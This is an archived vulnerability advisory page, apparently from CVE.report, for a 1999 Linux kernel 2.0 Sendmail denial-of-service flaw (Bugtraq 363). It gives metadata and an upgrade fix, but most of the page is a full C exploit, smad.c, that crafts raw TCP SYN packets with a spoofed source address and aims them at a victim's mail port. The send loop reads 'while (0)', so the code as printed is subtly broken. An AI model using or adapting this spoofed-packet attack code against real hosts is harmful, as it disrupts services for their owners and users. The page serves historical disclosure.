Linux Sendmail Denial of Service Vulnerability

BID:363

Info

Linux Sendmail Denial of Service Vulnerability

Bugtraq ID: 363
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: May 28 1999 12:00AM
Updated: May 28 1999 12:00AM
Credit: First posted to BugTraq by Michal Zalewski.
Vulnerable: Linux kernel 2.0
Not Vulnerable: Linux kernel 2.3
Linux kernel 2.2
Linux kernel 2.1

Exploit / POC

Linux Sendmail Denial of Service Vulnerability

/*

* smad.c - sendmail accept dos -

*

* Salvatore Sanfilippo [AntireZ]

* Intesis SECURITY LAB Phone: +39-2-671563.1

* Via Settembrini, 35 Fax: +39-2-66981953

* I-20124 Milano ITALY Email: [email protected]

* [email protected]

*

* compile it under Linux with gcc -Wall -o smad smad.c

*

* usage: smad fakeaddr victim [port]

*/

#include <unistd.h>

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/tcp.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netdb.h>

#include <unistd.h>

#define SLEEP_UTIME 100000 /* modify it if necessary */

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))

#define OFFSETTCP (sizeof(struct iphdr))

#define OFFSETIP (0)

u_short cksum(u_short *buf, int nwords)

{

unsigned long sum;

u_short *w = buf;

for (sum = 0; nwords > 0; nwords-=2)

sum += *w++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

void resolver (struct sockaddr * addr, char *hostname, u_short port)

{

struct sockaddr_in *address;

struct hostent *host;

address = (struct sockaddr_in *)addr;

(void) bzero((char *)address, sizeof(struct sockaddr_in));

address->sin_family = AF_INET;

address->sin_port = htons(port);

address->sin_addr.s_addr = inet_addr(hostname);

if ( (int)address->sin_addr.s_addr == -1) {

host = gethostbyname(hostname);

if (host) {

bcopy( host->h_addr,

(char *)&address->sin_addr,host->h_length);

} else {

perror("Could not resolve address");

exit(-1);

}


}

}

int main(int argc, char **argv)

{

char runchar[] = "|/-\\";

char packet[PACKETSIZE],

*fromhost,

*tohost;

u_short fromport = 3000,

toport = 25;

struct sockaddr_in local, remote;

struct iphdr *ip = (struct iphdr*) (packet + OFFSETIP);

struct tcphdr *tcp = (struct tcphdr*) (packet + OFFSETTCP);

struct tcp_pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short lenght;

struct tcphdr tcpheader;

}

pseudoheader;

int sock, result, runcharid = 0;

if (argc < 3)

{

printf("usage: %s fakeaddr victim [port]\n", argv[0]);

exit(0);

}

if (argc == 4)

toport = atoi(argv[3]);

bzero((void*)packet, PACKETSIZE);

fromhost = argv[1];

tohost = argv[2];

resolver((struct sockaddr*)&local, fromhost, fromport);

resolver((struct sockaddr*)&remote, tohost, toport);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock == -1) {

perror("can't get raw socket");

exit(1);

}

/* src addr */

bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));

/* dst addr */

bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

ip->version = 4;

ip->ihl = sizeof(struct iphdr)/4;

ip->tos = 0;

ip->tot_len = htons(PACKETSIZE);

ip->id = htons(getpid() & 255);

/* no flags */

ip->frag_off = 0;

ip->ttl = 64;

ip->protocol = 6;

ip->check = 0;

tcp->th_dport = htons(toport);

tcp->th_sport = htons(fromport);

tcp->th_seq = htonl(32089744);

tcp->th_ack = htonl(0);

tcp->th_off = sizeof(struct tcphdr)/4;

/* 6 bit reserved */

tcp->th_flags = TH_SYN;

tcp->th_win = htons(512);

/* start of pseudo header stuff */

bzero(&pseudoheader, 12+sizeof(struct tcphdr));

pseudoheader.saddr.s_addr=local.sin_addr.s_addr;

pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;

pseudoheader.protocol = 6;

pseudoheader.lenght = htons(sizeof(struct tcphdr));

bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,

sizeof(struct tcphdr));

/* end */

tcp->th_sum = cksum((u_short *) &pseudoheader,

12+sizeof(struct tcphdr));

/* 16 bit urg */

while (0)

{

result = sendto(sock, packet, PACKETSIZE, 0,

(struct sockaddr *)&remote, sizeof(remote));

if (result != PACKETSIZE)

{

perror("sending packet");

exit(0);

} printf("\b");

printf("%c", runchar[runcharid]);

fflush(stdout);

runcharid++;

if (runcharid == 4)

runcharid = 0;

usleep(SLEEP_UTIME);

}

return 0;

}

Solution / Fix

Linux Sendmail Denial of Service Vulnerability

Solution:
This was fixed in the 2.1.x development kernels. Upgrade to the 2.2.x kernels.

References

Linux Sendmail Denial of Service Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report